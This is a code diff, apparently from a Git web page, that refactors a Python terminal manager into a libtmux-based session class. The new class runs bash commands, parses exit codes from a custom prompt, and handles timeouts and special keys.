|
||||
"F11": "\x1b[23~",
|
||||
"F12": "\x1b[24~",
|
||||
}
|
||||
|
||||
if key in key_map:
|
||||
return key_map[key]
|
||||
|
||||
if key.startswith("^") and len(key) == 2:
|
||||
char = key[1].lower()
|
||||
return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None
|
||||
|
||||
if key.startswith("C-") and len(key) == 3:
|
||||
char = key[2].lower()
|
||||
return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None
|
||||
|
||||
return None
|
||||
|
||||
def is_alive(self) -> bool:
|
||||
if not self.process:
|
||||
return False
|
||||
return self.process.poll() is None
|
||||
@@ -5,173 +5,133 @@ import sys
|
||||
import threading
|
||||
from typing import Any
|
||||
|
||||
from .terminal_instance import TerminalInstance
|
||||
from .terminal_session import TerminalSession
|
||||
|
||||
|
||||
class TerminalManager:
|
||||
def __init__(self) -> None:
|
||||
self.terminals: dict[str, TerminalInstance] = {}
|
||||
self.sessions: dict[str, TerminalSession] = {}
|
||||
self._lock = threading.Lock()
|
||||
self.default_terminal_id = "default"
|
||||
self.default_timeout = 30.0
|
||||
|
||||
self._register_cleanup_handlers()
|
||||
|
||||
def create_terminal(
|
||||
self, terminal_id: str | None = None, inputs: list[str] | None = None
|
||||
def execute_command(
|
||||
self,
|
||||
command: str,
|
||||
is_input: bool = False,
|
||||
timeout: float | None = None,
|
||||
terminal_id: str | None = None,
|
||||
no_enter: bool = False,
|
||||
) -> dict[str, Any]:
|
||||
if terminal_id is None:
|
||||
terminal_id = self.default_terminal_id
|
||||
|
||||
with self._lock:
|
||||
if terminal_id in self.terminals:
|
||||
raise ValueError(f"Terminal '{terminal_id}' already exists")
|
||||
|
||||
initial_command = None
|
||||
if inputs:
|
||||
command_parts: list[str] = []
|
||||
for input_item in inputs:
|
||||
if input_item == "Enter":
|
||||
initial_command = " ".join(command_parts) + "\n"
|
||||
break
|
||||
if input_item.startswith("literal:"):
|
||||
command_parts.append(input_item[8:])
|
||||
elif input_item not in [
|
||||
"Space",
|
||||
"Tab",
|
||||
"Backspace",
|
||||
]:
|
||||
command_parts.append(input_item)
|
||||
|
||||
try:
|
||||
terminal = TerminalInstance(terminal_id, initial_command)
|
||||
self.terminals[terminal_id] = terminal
|
||||
|
||||
if inputs and not initial_command:
|
||||
terminal.send_input(inputs)
|
||||
result = terminal.wait(2.0)
|
||||
else:
|
||||
result = terminal.wait(1.0)
|
||||
|
||||
result["message"] = f"Terminal '{terminal_id}' created successfully"
|
||||
|
||||
except (OSError, ValueError, RuntimeError) as e:
|
||||
raise RuntimeError(f"Failed to create terminal '{terminal_id}': {e}") from e
|
||||
else:
|
||||
return result
|
||||
|
||||
def send_input(
|
||||
self, terminal_id: str | None = None, inputs: list[str] | None = None
|
||||
) -> dict[str, Any]:
|
||||
if terminal_id is None:
|
||||
terminal_id = self.default_terminal_id
|
||||
|
||||
if not inputs:
|
||||
raise ValueError("No inputs provided")
|
||||
|
||||
with self._lock:
|
||||
if terminal_id not in self.terminals:
|
||||
raise ValueError(f"Terminal '{terminal_id}' not found")
|
||||
|
||||
terminal = self.terminals[terminal_id]
|
||||
session = self._get_or_create_session(terminal_id)
|
||||
|
||||
try:
|
||||
terminal.send_input(inputs)
|
||||
result = terminal.wait(2.0)
|
||||
result["message"] = f"Input sent to terminal '{terminal_id}'"
|
||||
except (OSError, ValueError, RuntimeError) as e:
|
||||
raise RuntimeError(f"Failed to send input to terminal '{terminal_id}': {e}") from e
|
||||
else:
|
||||
return result
|
||||
result = session.execute(command, is_input, timeout or self.default_timeout, no_enter)
|
||||
|
||||
def wait_terminal(
|
||||
self, terminal_id: str | None = None, duration: float = 1.0
|
||||
) -> dict[str, Any]:
|
||||
return {
|
||||
"content": result["content"],
|
||||
"command": command,
|
||||
"terminal_id": terminal_id,
|
||||
"status": result["status"],
|
||||
"exit_code": result.get("exit_code"),
|
||||
"working_dir": result.get("working_dir"),
|
||||
}
|
||||
|
||||
except RuntimeError as e:
|
||||
return {
|
||||
"error": str(e),
|
||||
"command": command,
|
||||
"terminal_id": terminal_id,
|
||||
"content": "",
|
||||
"status": "error",
|
||||
"exit_code": None,
|
||||
"working_dir": None,
|
||||
}
|
||||
except OSError as e:
|
||||
return {
|
||||
"error": f"System error: {e}",
|
||||
"command": command,
|
||||
"terminal_id": terminal_id,
|
||||
"content": "",
|
||||
"status": "error",
|
||||
"exit_code": None,
|
||||
"working_dir": None,
|
||||
}
|
||||
|
||||
def _get_or_create_session(self, terminal_id: str) -> TerminalSession:
|
||||
with self._lock:
|
||||
if terminal_id not in self.sessions:
|
||||
self.sessions[terminal_id] = TerminalSession(terminal_id)
|
||||
return self.sessions[terminal_id]
|
||||
|
||||
def close_session(self, terminal_id: str | None = None) -> dict[str, Any]:
|
||||
if terminal_id is None:
|
||||
terminal_id = self.default_terminal_id
|
||||
|
||||
with self._lock:
|
||||
if terminal_id not in self.terminals:
|
||||
raise ValueError(f"Terminal '{terminal_id}' not found")
|
||||
if terminal_id not in self.sessions:
|
||||
return {
|
||||
"terminal_id": terminal_id,
|
||||
"message": f"Terminal '{terminal_id}' not found",
|
||||
"status": "not_found",
|
||||
}
|
||||
|
||||
terminal = self.terminals[terminal_id]
|
||||
session = self.sessions.pop(terminal_id)
|
||||
|
||||
try:
|
||||
result = terminal.wait(duration)
|
||||
result["message"] = f"Waited {duration}s on terminal '{terminal_id}'"
|
||||
except (OSError, ValueError, RuntimeError) as e:
|
||||
raise RuntimeError(f"Failed to wait on terminal '{terminal_id}': {e}") from e
|
||||
else:
|
||||
return result
|
||||
|
||||
def close_terminal(self, terminal_id: str | None = None) -> dict[str, Any]:
|
||||
if terminal_id is None:
|
||||
terminal_id = self.default_terminal_id
|
||||
|
||||
with self._lock:
|
||||
if terminal_id not in self.terminals:
|
||||
raise ValueError(f"Terminal '{terminal_id}' not found")
|
||||
|
||||
terminal = self.terminals.pop(terminal_id)
|
||||
|
||||
try:
|
||||
terminal.close()
|
||||
except (OSError, ValueError, RuntimeError) as e:
|
||||
raise RuntimeError(f"Failed to close terminal '{terminal_id}': {e}") from e
|
||||
session.close()
|
||||
except (RuntimeError, OSError) as e:
|
||||
return {
|
||||
"terminal_id": terminal_id,
|
||||
"error": f"Failed to close terminal '{terminal_id}': {e}",
|
||||
"status": "error",
|
||||
}
|
||||
else:
|
||||
return {
|
||||
"terminal_id": terminal_id,
|
||||
"message": f"Terminal '{terminal_id}' closed successfully",
|
||||
"snapshot": "",
|
||||
"is_running": False,
|
||||
"status": "closed",
|
||||
}
|
||||
|
||||
def get_terminal_snapshot(self, terminal_id: str | None = None) -> dict[str, Any]:
|
||||
if terminal_id is None:
|
||||
terminal_id = self.default_terminal_id
|
||||
|
||||
def list_sessions(self) -> dict[str, Any]:
|
||||
with self._lock:
|
||||
if terminal_id not in self.terminals:
|
||||
raise ValueError(f"Terminal '{terminal_id}' not found")
|
||||
|
||||
terminal = self.terminals[terminal_id]
|
||||
|
||||
return terminal.get_snapshot()
|
||||
|
||||
def list_terminals(self) -> dict[str, Any]:
|
||||
with self._lock:
|
||||
terminal_info = {}
|
||||
for tid, terminal in self.terminals.items():
|
||||
terminal_info[tid] = {
|
||||
"is_running": terminal.is_running,
|
||||
"is_alive": terminal.is_alive(),
|
||||
"process_id": terminal.process.pid if terminal.process else None,
|
||||
session_info: dict[str, dict[str, Any]] = {}
|
||||
for tid, session in self.sessions.items():
|
||||
session_info[tid] = {
|
||||
"is_running": session.is_running(),
|
||||
"working_dir": session.get_working_dir(),
|
||||
}
|
||||
|
||||
return {"terminals": terminal_info, "total_count": len(terminal_info)}
|
||||
return {"sessions": session_info, "total_count": len(session_info)}
|
||||
|
||||
def cleanup_dead_terminals(self) -> None:
|
||||
def cleanup_dead_sessions(self) -> None:
|
||||
with self._lock:
|
||||
dead_terminals = []
|
||||
for tid, terminal in self.terminals.items():
|
||||
if not terminal.is_alive():
|
||||
dead_terminals.append(tid)
|
||||
dead_sessions: list[str] = []
|
||||
for tid, session in self.sessions.items():
|
||||
if not session.is_running():
|
||||
dead_sessions.append(tid)
|
||||
|
||||
for tid in dead_terminals:
|
||||
terminal = self.terminals.pop(tid)
|
||||
for tid in dead_sessions:
|
||||
session = self.sessions.pop(tid)
|
||||
with contextlib.suppress(Exception):
|
||||
terminal.close()
|
||||
session.close()
|
||||
|
||||
def close_all_terminals(self) -> None:
|
||||
def close_all_sessions(self) -> None:
|
||||
with self._lock:
|
||||
terminals_to_close = list(self.terminals.values())
|
||||
self.terminals.clear()
|
||||
sessions_to_close = list(self.sessions.values())
|
||||
self.sessions.clear()
|
||||
|
||||
for terminal in terminals_to_close:
|
||||
for session in sessions_to_close:
|
||||
with contextlib.suppress(Exception):
|
||||
terminal.close()
|
||||
session.close()
|
||||
|
||||
def _register_cleanup_handlers(self) -> None:
|
||||
atexit.register(self.close_all_terminals)
|
||||
atexit.register(self.close_all_sessions)
|
||||
|
||||
signal.signal(signal.SIGTERM, self._signal_handler)
|
||||
signal.signal(signal.SIGINT, self._signal_handler)
|
||||
@@ -180,7 +140,7 @@ class TerminalManager:
|
||||
signal.signal(signal.SIGHUP, self._signal_handler)
|
||||
|
||||
def _signal_handler(self, _signum: int, _frame: Any) -> None:
|
||||
self.close_all_terminals()
|
||||
self.close_all_sessions()
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,447 @@
|
||||
import logging
|
||||
import re
|
||||
import time
|
||||
import uuid
|
||||
from enum import Enum
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import libtmux
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BashCommandStatus(Enum):
|
||||
CONTINUE = "continue"
|
||||
COMPLETED = "completed"
|
||||
NO_CHANGE_TIMEOUT = "no_change_timeout"
|
||||
HARD_TIMEOUT = "hard_timeout"
|
||||
|
||||
|
||||
def _remove_command_prefix(command_output: str, command: str) -> str:
|
||||
return command_output.lstrip().removeprefix(command.lstrip()).lstrip()
|
||||
|
||||
|
||||
class TerminalSession:
|
||||
POLL_INTERVAL = 0.5
|
||||
HISTORY_LIMIT = 10_000
|
||||
PS1_END = "]$ "
|
||||
|
||||
def __init__(self, session_id: str, work_dir: str = "/workspace") -> None:
|
||||
self.session_id = session_id
|
||||
self.work_dir = str(Path(work_dir).resolve())
|
||||
self._closed = False
|
||||
self._cwd = self.work_dir
|
||||
|
||||
self.server: libtmux.Server | None = None
|
||||
self.session: libtmux.Session | None = None
|
||||
self.window: libtmux.Window | None = None
|
||||
self.pane: libtmux.Pane | None = None
|
||||
|
||||
self.prev_status: BashCommandStatus | None = None
|
||||
self.prev_output: str = ""
|
||||
self._initialized = False
|
||||
|
||||
self.initialize()
|
||||
|
||||
@property
|
||||
def PS1(self) -> str: # noqa: N802
|
||||
return r"[STRIX_$?]$ "
|
||||
|
||||
@property
|
||||
def PS1_PATTERN(self) -> str: # noqa: N802
|
||||
return r"\[STRIX_(\d+)\]"
|
||||
|
||||
def initialize(self) -> None:
|
||||
self.server = libtmux.Server()
|
||||
|
||||
session_name = f"strix-{self.session_id}-{uuid.uuid4()}"
|
||||
self.session = self.server.new_session(
|
||||
session_name=session_name,
|
||||
start_directory=self.work_dir,
|
||||
kill_session=True,
|
||||
x=120,
|
||||
y=30,
|
||||
)
|
||||
|
||||
self.session.set_option("history-limit", str(self.HISTORY_LIMIT))
|
||||
self.session.history_limit = self.HISTORY_LIMIT
|
||||
|
||||
_initial_window = self.session.active_window
|
||||
self.window = self.session.new_window(
|
||||
window_name="bash",
|
||||
window_shell="/bin/bash",
|
||||
start_directory=self.work_dir,
|
||||
)
|
||||
self.pane = self.window.active_pane
|
||||
_initial_window.kill()
|
||||
|
||||
self.pane.send_keys(f'export PROMPT_COMMAND=\'export PS1="{self.PS1}"\'; export PS2=""')
|
||||
time.sleep(0.1)
|
||||
self._clear_screen()
|
||||
|
||||
self.prev_status = None
|
||||
self.prev_output = ""
|
||||
self._closed = False
|
||||
|
||||
self._cwd = str(Path(self.work_dir).resolve())
|
||||
self._initialized = True
|
||||
|
||||
assert self.server is not None
|
||||
assert self.session is not None
|
||||
assert self.window is not None
|
||||
assert self.pane is not None
|
||||
|
||||
def _get_pane_content(self) -> str:
|
||||
if not self.pane:
|
||||
raise RuntimeError("Terminal session not properly initialized")
|
||||
return "\n".join(
|
||||
line.rstrip() for line in self.pane.cmd("capture-pane", "-J", "-pS", "-").stdout
|
||||
)
|
||||
|
||||
def _clear_screen(self) -> None:
|
||||
if not self.pane:
|
||||
raise RuntimeError("Terminal session not properly initialized")
|
||||
self.pane.send_keys("C-l", enter=False)
|
||||
time.sleep(0.1)
|
||||
self.pane.cmd("clear-history")
|
||||
|
||||
def _is_control_key(self, command: str) -> bool:
|
||||
return (
|
||||
(command.startswith("C-") and len(command) >= 3)
|
||||
or (command.startswith("^") and len(command) >= 2)
|
||||
or (command.startswith("S-") and len(command) >= 3)
|
||||
or (command.startswith("M-") and len(command) >= 3)
|
||||
)
|
||||
|
||||
def _is_function_key(self, command: str) -> bool:
|
||||
if not command.startswith("F") or len(command) > 3:
|
||||
return False
|
||||
try:
|
||||
num_part = command[1:]
|
||||
return num_part.isdigit() and 1 <= int(num_part) <= 12
|
||||
except (ValueError, IndexError):
|
||||
return False
|
||||
|
||||
def _is_navigation_or_special_key(self, command: str) -> bool:
|
||||
navigation_keys = {"Up", "Down", "Left", "Right", "Home", "End"}
|
||||
special_keys = {"BSpace", "BTab", "DC", "Enter", "Escape", "IC", "Space", "Tab"}
|
||||
page_keys = {"NPage", "PageDown", "PgDn", "PPage", "PageUp", "PgUp"}
|
||||
|
||||
return command in navigation_keys or command in special_keys or command in page_keys
|
||||
|
||||
def _is_complex_modifier_key(self, command: str) -> bool:
|
||||
return "-" in command and any(
|
||||
command.startswith(prefix)
|
||||
for prefix in ["C-S-", "C-M-", "S-M-", "M-S-", "M-C-", "S-C-"]
|
||||
)
|
||||
|
||||
def _is_special_key(self, command: str) -> bool:
|
||||
_command = command.strip()
|
||||
|
||||
if not _command:
|
||||
return False
|
||||
|
||||
return (
|
||||
self._is_control_key(_command)
|
||||
or self._is_function_key(_command)
|
||||
or self._is_navigation_or_special_key(_command)
|
||||
or self._is_complex_modifier_key(_command)
|
||||
)
|
||||
|
||||
def _matches_ps1_metadata(self, content: str) -> list[re.Match[str]]:
|
||||
return list(re.finditer(self.PS1_PATTERN + r"\]\$ ", content))
|
||||
|
||||
def _get_command_output(
|
||||
self,
|
||||
command: str,
|
||||
raw_command_output: str,
|
||||
continue_prefix: str = "",
|
||||
) -> str:
|
||||
if self.prev_output:
|
||||
command_output = raw_command_output.removeprefix(self.prev_output)
|
||||
if continue_prefix:
|
||||
command_output = continue_prefix + command_output
|
||||
else:
|
||||
command_output = raw_command_output
|
||||
self.prev_output = raw_command_output
|
||||
command_output = _remove_command_prefix(command_output, command)
|
||||
return command_output.rstrip()
|
||||
|
||||
def _combine_outputs_between_matches(
|
||||
self,
|
||||
pane_content: str,
|
||||
ps1_matches: list[re.Match[str]],
|
||||
get_content_before_last_match: bool = False,
|
||||
) -> str:
|
||||
if len(ps1_matches) == 1:
|
||||
if get_content_before_last_match:
|
||||
return pane_content[: ps1_matches[0].start()]
|
||||
return pane_content[ps1_matches[0].end() + 1 :]
|
||||
if len(ps1_matches) == 0:
|
||||
return pane_content
|
||||
|
||||
combined_output = ""
|
||||
for i in range(len(ps1_matches) - 1):
|
||||
output_segment = pane_content[ps1_matches[i].end() + 1 : ps1_matches[i + 1].start()]
|
||||
combined_output += output_segment + "\n"
|
||||
combined_output += pane_content[ps1_matches[-1].end() + 1 :]
|
||||
return combined_output
|
||||
|
||||
def _extract_exit_code_from_matches(self, ps1_matches: list[re.Match[str]]) -> int | None:
|
||||
if not ps1_matches:
|
||||
return None
|
||||
|
||||
last_match = ps1_matches[-1]
|
||||
try:
|
||||
return int(last_match.group(1))
|
||||
except (ValueError, IndexError):
|
||||
return None
|
||||
|
||||
def _handle_empty_command(
|
||||
self,
|
||||
cur_pane_output: str,
|
||||
ps1_matches: list[re.Match[str]],
|
||||
is_command_running: bool,
|
||||
timeout: float,
|
||||
) -> dict[str, Any]:
|
||||
if not is_command_running:
|
||||
raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches)
|
||||
command_output = self._get_command_output("", raw_command_output)
|
||||
return {
|
||||
"content": command_output,
|
||||
"status": "completed",
|
||||
"exit_code": 0,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
start_time = time.time()
|
||||
last_pane_output = cur_pane_output
|
||||
|
||||
while True:
|
||||
cur_pane_output = self._get_pane_content()
|
||||
ps1_matches = self._matches_ps1_metadata(cur_pane_output)
|
||||
|
||||
if cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0:
|
||||
exit_code = self._extract_exit_code_from_matches(ps1_matches)
|
||||
raw_command_output = self._combine_outputs_between_matches(
|
||||
cur_pane_output, ps1_matches
|
||||
)
|
||||
command_output = self._get_command_output("", raw_command_output)
|
||||
self.prev_status = BashCommandStatus.COMPLETED
|
||||
self.prev_output = ""
|
||||
self._ready_for_next_command()
|
||||
return {
|
||||
"content": command_output,
|
||||
"status": "completed",
|
||||
"exit_code": exit_code or 0,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
elapsed_time = time.time() - start_time
|
||||
if elapsed_time >= timeout:
|
||||
raw_command_output = self._combine_outputs_between_matches(
|
||||
cur_pane_output, ps1_matches
|
||||
)
|
||||
command_output = self._get_command_output("", raw_command_output)
|
||||
return {
|
||||
"content": command_output
|
||||
+ f"\n[Command still running after {timeout}s - showing output so far]",
|
||||
"status": "running",
|
||||
"exit_code": None,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
if cur_pane_output != last_pane_output:
|
||||
last_pane_output = cur_pane_output
|
||||
|
||||
time.sleep(self.POLL_INTERVAL)
|
||||
|
||||
def _handle_input_command(
|
||||
self, command: str, no_enter: bool, is_command_running: bool
|
||||
) -> dict[str, Any]:
|
||||
if not is_command_running:
|
||||
return {
|
||||
"content": "No command is currently running. Cannot send input.",
|
||||
"status": "error",
|
||||
"exit_code": None,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
if not self.pane:
|
||||
raise RuntimeError("Terminal session not properly initialized")
|
||||
|
||||
is_special_key = self._is_special_key(command)
|
||||
should_add_enter = not is_special_key and not no_enter
|
||||
self.pane.send_keys(command, enter=should_add_enter)
|
||||
|
||||
time.sleep(2)
|
||||
cur_pane_output = self._get_pane_content()
|
||||
ps1_matches = self._matches_ps1_metadata(cur_pane_output)
|
||||
raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches)
|
||||
command_output = self._get_command_output(command, raw_command_output)
|
||||
|
||||
is_still_running = not (
|
||||
cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0
|
||||
)
|
||||
|
||||
if is_still_running:
|
||||
return {
|
||||
"content": command_output,
|
||||
"status": "running",
|
||||
"exit_code": None,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
exit_code = self._extract_exit_code_from_matches(ps1_matches)
|
||||
self.prev_status = BashCommandStatus.COMPLETED
|
||||
self.prev_output = ""
|
||||
self._ready_for_next_command()
|
||||
return {
|
||||
"content": command_output,
|
||||
"status": "completed",
|
||||
"exit_code": exit_code or 0,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
def _execute_new_command(self, command: str, no_enter: bool, timeout: float) -> dict[str, Any]:
|
||||
if not self.pane:
|
||||
raise RuntimeError("Terminal session not properly initialized")
|
||||
|
||||
initial_pane_output = self._get_pane_content()
|
||||
initial_ps1_matches = self._matches_ps1_metadata(initial_pane_output)
|
||||
initial_ps1_count = len(initial_ps1_matches)
|
||||
|
||||
start_time = time.time()
|
||||
last_pane_output = initial_pane_output
|
||||
|
||||
is_special_key = self._is_special_key(command)
|
||||
should_add_enter = not is_special_key and not no_enter
|
||||
self.pane.send_keys(command, enter=should_add_enter)
|
||||
|
||||
while True:
|
||||
cur_pane_output = self._get_pane_content()
|
||||
ps1_matches = self._matches_ps1_metadata(cur_pane_output)
|
||||
current_ps1_count = len(ps1_matches)
|
||||
|
||||
if cur_pane_output != last_pane_output:
|
||||
last_pane_output = cur_pane_output
|
||||
|
||||
if current_ps1_count > initial_ps1_count or cur_pane_output.rstrip().endswith(
|
||||
self.PS1_END.rstrip()
|
||||
):
|
||||
exit_code = self._extract_exit_code_from_matches(ps1_matches)
|
||||
|
||||
get_content_before_last_match = bool(len(ps1_matches) == 1)
|
||||
raw_command_output = self._combine_outputs_between_matches(
|
||||
cur_pane_output,
|
||||
ps1_matches,
|
||||
get_content_before_last_match=get_content_before_last_match,
|
||||
)
|
||||
|
||||
command_output = self._get_command_output(command, raw_command_output)
|
||||
self.prev_status = BashCommandStatus.COMPLETED
|
||||
self.prev_output = ""
|
||||
self._ready_for_next_command()
|
||||
|
||||
return {
|
||||
"content": command_output,
|
||||
"status": "completed",
|
||||
"exit_code": exit_code or 0,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
elapsed_time = time.time() - start_time
|
||||
if elapsed_time >= timeout:
|
||||
raw_command_output = self._combine_outputs_between_matches(
|
||||
cur_pane_output, ps1_matches
|
||||
)
|
||||
command_output = self._get_command_output(
|
||||
command,
|
||||
raw_command_output,
|
||||
continue_prefix="[Below is the output of the previous command.]\n",
|
||||
)
|
||||
self.prev_status = BashCommandStatus.CONTINUE
|
||||
|
||||
timeout_msg = (
|
||||
f"\n[Command still running after {timeout}s - showing output so far. "
|
||||
"Use C-c to interrupt if needed.]"
|
||||
)
|
||||
return {
|
||||
"content": command_output + timeout_msg,
|
||||
"status": "running",
|
||||
"exit_code": None,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
time.sleep(self.POLL_INTERVAL)
|
||||
|
||||
def execute(
|
||||
self, command: str, is_input: bool = False, timeout: float = 10.0, no_enter: bool = False
|
||||
) -> dict[str, Any]:
|
||||
if not self._initialized:
|
||||
raise RuntimeError("Bash session is not initialized")
|
||||
|
||||
cur_pane_output = self._get_pane_content()
|
||||
ps1_matches = self._matches_ps1_metadata(cur_pane_output)
|
||||
is_command_running = not (
|
||||
cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0
|
||||
)
|
||||
|
||||
if command.strip() == "":
|
||||
return self._handle_empty_command(
|
||||
cur_pane_output, ps1_matches, is_command_running, timeout
|
||||
)
|
||||
|
||||
is_special_key = self._is_special_key(command)
|
||||
|
||||
if is_input:
|
||||
return self._handle_input_command(command, no_enter, is_command_running)
|
||||
|
||||
if is_special_key and is_command_running:
|
||||
return self._handle_input_command(command, no_enter, is_command_running)
|
||||
|
||||
if is_command_running:
|
||||
return {
|
||||
"content": (
|
||||
"A command is already running. Use is_input=true to send input to it, "
|
||||
"or interrupt it first (e.g., with C-c)."
|
||||
),
|
||||
"status": "error",
|
||||
"exit_code": None,
|
||||
"working_dir": self._cwd,
|
||||
}
|
||||
|
||||
return self._execute_new_command(command, no_enter, timeout)
|
||||
|
||||
def _ready_for_next_command(self) -> None:
|
||||
self._clear_screen()
|
||||
|
||||
def is_running(self) -> bool:
|
||||
if self._closed or not self.session:
|
||||
return False
|
||||
try:
|
||||
return self.session.id in [s.id for s in self.server.sessions] if self.server else False
|
||||
except (AttributeError, OSError) as e:
|
||||
logger.debug("Error checking if session is running: %s", e)
|
||||
return False
|
||||
|
||||
def get_working_dir(self) -> str:
|
||||
return self._cwd
|
||||
|
||||
def close(self) -> None:
|
||||
if self._closed:
|
||||
return
|
||||
|
||||
if self.session:
|
||||
try:
|
||||
self.session.kill()
|
||||
except (AttributeError, OSError) as e:
|
||||
logger.debug("Error closing terminal session: %s", e)
|
||||
|
||||
self._closed = True
|
||||
self.server = None
|
||||
self.session = None
|
||||
self.window = None
|
||||
self.pane = None
|
||||
Reference in New Issue
Block a user